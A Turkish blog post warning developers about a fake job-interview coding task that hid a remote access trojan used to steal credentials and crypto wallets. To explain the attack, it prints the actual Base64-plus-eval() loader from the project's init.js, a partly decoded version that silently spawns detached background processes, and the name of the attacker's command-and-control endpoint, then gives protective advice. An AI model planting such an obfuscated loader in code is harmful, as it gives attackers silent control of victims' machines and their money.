> post.Sahte İş Görüşmesi, Gerçek Kripto Hırsızlığı

Bu, sektördeki herkes için oldukça standart bir adımdı. Ancak saatler sonra gelen ikinci telefon, heyecanın yerini paniğe bırakmıştı. Arkadaşım, farkında olmadan kendi dijital evinin kapılarını sonuna kadar bir hırsıza açmıştı.

Bana gönderdiği projeyi incelediğimde, bunun bir “teknik görev” değil, son derece sofistike bir RAT (Remote Access Trojan — Uzaktan Erişim Truvası) olduğunu anladım. Bu, bir iş arama sürecinin masumiyetini kullanarak tasarlanmış, modern bir dijital soygun planıydı.

İşte bu saldırının nasıl çalıştığı ve hepimizin bu tür tuzaklardan nasıl korunabileceğinin hikayesi.

Adım 1: Sosyal Mühendislik — En Zayıf Halka


Saldırı, koddan önce psikolojiyle başlıyor. İş arama sürecindeki bir adayın dikkati, normalden daha dağınıktır. Yeni bir kariyere odaklanmışken, gelen bir .zip dosyasının içeriğini sorgulamak genellikle akla gelmez.

Saldırganlar tam olarak bu zafiyetten faydalanıyor. “Bu sadece bir test projesi” düşüncesi, adayın güvenlik kalkanlarını indirmesi için yeterlidir. Arkadaşım da tam olarak bunu yaptı: Projeyi indirdi, terminali açtı ve o meşhur komutu çalıştırdı: npm install.

Adım 2: Kodun İçindeki Saatli Bomba: Base64 ve eval()


Proje ilk bakışta oldukça normal görünüyordu. Birkaç JavaScript dosyası, bir package.json dosyası… Ancak init.js dosyasının içinde, anlamsız görünen uzun bir metin dizisi vardı.

İşte o kod bloğu:

// init.js dosyasındaki aldatıcı kısımconst key = "Y29uc3QgeyBzcGF3biB9ID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpOw0KY29uc3QgcGF0aCA9IHJlcXVpcmUoJ3BhdGgnKTsNCmNvbnN0IGluaXQgPSByZXF1aXJlKCJAZWwzdW00cy9ydW4tdmJzIik7DQpjb25zdCBvcyA9IHJlcXVpcmUoIm9zIikNCmNvbnN0IHsgUHl0aG9uU2hlbGwgfSA9IHJlcXVpcmUoJ3B5dGhvbi1zaGVsbCcpOw0KY29uc3QgcGxhdGZvcm0gPSBvcy5wbGF0Zm9ybSgpOw0KaWYgKHBsYXRmb3JtID09PSAnd2luMzInKSB7DQoJY29uc3Qgc2NyaXB0UGF0aCA9IF9fZGlybmFtZSArICdcXGlubmV0LnZicyc7DQoJY29uc3QgZnJvbUZpbGUgPSBpbml0LnJ1blZic0ZpbGUoeyB2YnM6IHNjcmlwdFBhdGggfSk7DQp9DQplbHNlIHsNCgljb25zdCBzdWJwcm9jZXNzID0gc3Bhd24oJ3B5dGhvbjMnLCBbcGF0aC5qb2luKF9fZGlybmFtZSwgJ2lubmV0LmpzJyldLCB7DQoJCWRldGFjaGVkOiB0cnVlLA0KCQlzdGRpbzogJ2lnbm9yZScNCgl9KTsNCgkgIA0KCXN1YnByb2Nlc3MudW5yZWYoKTsNCn0=";const data = Buffer.from(key, 'base64');
eval(data.toString('utf-8'));

Bu, bir siber güvenlik uzmanının gördüğünde tüm alarmları çalacak bir yapıdır:

  1. Base64 Şifreleme: key değişkeni, aslında çalıştırılabilir bir kodun metin olarak gizlenmiş halidir. Bu, antivirüs programlarının ve basit kod tarayıcılarının kötü amaçlı içeriği tespit etmesini engellemek için kullanılır.
  2. eval() Fonksiyonu: Bu fonksiyon, metin olarak verilen bir ifadeyi JavaScript kodu olarak çalıştırır. Geliştirme dünyasında genellikle “şeytani” (evil) olarak anılır ve neredeyse hiçbir meşru senaryoda kullanılmasına gerek yoktur.

Bu iki unsur bir araya geldiğinde, bir “saatli bomba” oluşur. Base64 metni çözülür ve ortaya çıkan kod, eval() tarafından anında çalıştırılır.

Peki, o gizlenmiş kod ne yapıyordu?

Adım 3: Arka Kapı — Sessiz ve Derinden Çalışan Casus


Gizlenmiş kodun görevi basitti: Kullanıcının işletim sistemini tespit edip ona uygun bir arka kapı (backdoor) yerleştirmek.

// Gizlenmiş kodun çözülmüş haliconst { spawn } = require('child_process');
const os = require("os");
const platform = os.platform();if (platform === 'win32') {
    // Windows ise: Arka planda bir VBScript çalıştır.
    // ...
} else {
    // macOS veya Linux ise: Arka planda bir Python betiği çalıştır.
    const subprocess = spawn('python3', ['innet.js'], {
        detached: true,
        stdio: 'ignore'
    });
    subprocess.unref();
}

Bu kod, spawn komutuyla yeni bir süreç başlatır. Ancak bunu yaparken kullandığı iki parametre, niyetini açıkça ortaya koyar:

  • detached: true: Başlatılan süreç, ana programdan (yani mülakat projesinden) tamamen bağımsız hale gelir. Siz terminali kapatsanız bile o çalışmaya devam eder.
  • stdio: ‘ignore’: Bu süreç, hiçbir çıktı vermez, hiçbir pencere göstermez. Tamamen sessiz ve görünmezdir.

Arkadaşım mülakat kodunu incelerken, arka planda artık onun haberi olmadan çalışan bir casus yazılım vardı.

Adım 4: Komuta Merkezi ve Hasar Raporu


Bu casus yazılımın (RAT) tek bir görevi vardı: Saldırganın Komuta ve Kontrol (C2) sunucusuna, yani dothebest.store/refresh.php adresine bağlanmak.

Bu bağlantı kurulduğu an, saldırgan arkadaşımın bilgisayarı üzerinde tam yetki kazandı. Çünkü C2 sunucusundan gelen her komut, exec() gibi tehlikeli fonksiyonlarla doğrudan bilgisayarda çalıştırılıyordu.

Peki saldırgan bu yetkiyle ne yapabilirdi?

  1. Tüm Kayıtlı Parolaların Çalınması: RAT, işletim sisteminin yerel parola yöneticilerine (macOS’ta Anahtar Zinciri, Windows’ta DPAPI) erişerek tarayıcıda kayıtlı tüm parolaları saniyeler içinde çalabilirdi. Banka hesapları, e-postalar, sosyal medya profilleri… Hepsi tehlikedeydi.
  2. Kripto Cüzdanlarının Boşaltılması: En büyük hedef buydu. RAT, MetaMask gibi eklentilerin şifrelenmiş cüzdan verilerini (vault) doğrudan dosya sisteminden kopyalayabilirdi. Ardından, bir keylogger (klavye dinleyici) aktif ederek, arkadaşım cüzdan şifresini yazdığı an onu da ele geçirebilirdi. Sonuç: Cüzdanın dakikalar içinde boşaltılması.
  3. Dosya Hırsızlığı ve Casusluk: Bilgisayardaki tüm kişisel ve iş dosyaları, ekran görüntüleri, hatta web kamerası ve mikrofon kayıtları… Hepsi saldırganın erişimine açıktı.

Neyse ki arkadaşım durumu erken fark edip hemen internet bağlantısını kesti ve sistemi temizlemek için harekete geçti. Ancak bu olay, hepimiz için ciddi bir ders niteliği taşıyor.

Kendinizi Nasıl Korursunuz? Acil Durum Kontrol Listesi


  1. “Mülakat Projesi” Tuzağına Karşı Şüpheci Olun: Özellikle tanınmamış şirketlerden veya şüpheli aracılardan (örneğin, sadece bir Telegram kullanıcısı) gelen teknik görevlere karşı son derece dikkatli olun. Kodu çalıştırmadan önce mutlaka inceleyin.
  2. İzole Ortamlar Hayat Kurtarır: Güvenmediğiniz hiçbir kodu ana bilgisayarınızda çalıştırmayın. Sanal Makineler (VirtualBox, VMware gibi) bu tür testler için icat edilmiştir. Bir sanal makine, ana sisteminizden tamamen izole bir “kullan-at” bilgisayar gibidir. Kod kötü amaçlı çıksa bile, zarar sadece o sanal makineyle sınırlı kalır.
  3. Koddaki Kırmızı Bayrakları Tanıyın: Bir kod projesinin içinde eval(), exec(), spawn(), Buffer.from() gibi komutlar veya Base64 gibi gizlenmiş uzun metinler görüyorsanız, bu %99 bir tehlike işaretidir. Projeyi anında silin ve durumu bildirin.
  4. En Güvenli Çözüm: Sıfırlama: Eğer böyle bir tuzağa düştüğünüzden şüpheleniyorsanız, panik yapmayın ama hızlı hareket edin:
  • İnterneti kesin: RAT’ın saldırganla iletişimini durdurun.
  • Güvenli bir cihazdan şifrelerinizi değiştirin: Özellikle e-posta, bankacılık ve kripto borsası şifrelerinizi.
  • Sistemi tamamen sıfırlayın: En garantili çözüm, önemli dosyalarınızı yedekledikten sonra bilgisayarı tamamen formatlayıp işletim sistemini yeniden kurmaktır.

Bu olay, siber saldırganların ne kadar yaratıcı ve acımasız olabileceğini bir kez daha gösteriyor. Lütfen bu bilgiyi ağınızdaki diğer geliştiriciler ve teknoloji profesyonelleriyle paylaşın. Bir anlık dikkatsizlik, yılların birikimini kaybetmenize neden olabilir.

Güvende kalın, ama daha da önemlisi, şüpheci kalın.